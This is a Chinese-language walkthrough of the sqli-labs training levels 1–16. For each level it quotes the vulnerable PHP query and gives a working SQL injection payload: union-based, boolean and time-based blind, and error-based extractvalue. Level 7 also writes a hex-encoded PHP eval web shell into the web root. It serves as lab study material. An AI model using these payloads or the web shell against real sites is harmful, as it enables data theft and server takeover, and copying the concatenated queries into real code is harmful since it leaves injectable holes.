sqli-lab
第一关
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
// ?id=-1' union select 1,2,database()--+
第二关
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
// ?id=-1 union select 1,2,database()--+
第三关
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
// ?id=-1') union select 1,2,database()--+
第四关
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
//?id=-1") union select 1,2,database() --+
第五关
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";//无回显
//?id=1' and if(length(database())=8,sleep(5),1) --+ if(exp1,exp2,exp3) exp1为真,返回exp2。
//?id=1' and if(left(database(),1)='s',sleep(5),1)
方法二
//id=' and left(select database(),1)>'s' --+ bool注入,更具页面回显判断,二分法更快。
第六关
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
和第五关一样,只有双引号改变。
第七关
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
//?id=1')) union select null,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e,null into outfile 'e:\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs\\t.php' %23
第八关
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
只有一个回显。盲注
?id=1' and left(database(),1)='s' %23
?id=1' and ascii(substr(database() ,1,1)) = 115 %23
?id=1' and substr((select database()) ,1,1) ='s' %23
第九关
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
时间盲注0.0
?id=1' and if(length(database())=8,sleep(5),1) %23
?id=1' and if(left(database(),1)='s',sleep(5),1) %23
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) %23
第十关
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
时间盲注
换成了‘"’,其它没变。
第十一关
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
if($row)
{
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
}
uname=admin' order by 2#&passwd=12346
uname=admn' union select 1,2#&passwd=12346
uname=admn' union select 1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata) #&passwd=123456
第十二关
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
// 和十一关差不多
uname=admin') order by 2#&passwd=12346
第十三关
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
//单引号和括号闭合,但是没回显,但是有报错,考虑报错注入
uname=admin') and extractvalue(1,concat(0x7e,(select database()))) and ('
第十四关
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
//双引号报错,没回显,报错注入
uname=admin" and extractvalue(1,concat(0x7e,(select database()))) and "
第十五关
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
//单引号,没有报错没有回显,想到的方法就是时间盲注
uname=admin' and if(length(database())=8,sleep(5),1)#
uname=admin' and if(left(database(),1)='s',sleep(5),1)#
//....
第十六关
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
//双引号+括号,没有回显和报错,只想到了时间盲注
uname=admin") and if(length(database())=8,sleep(5),1)#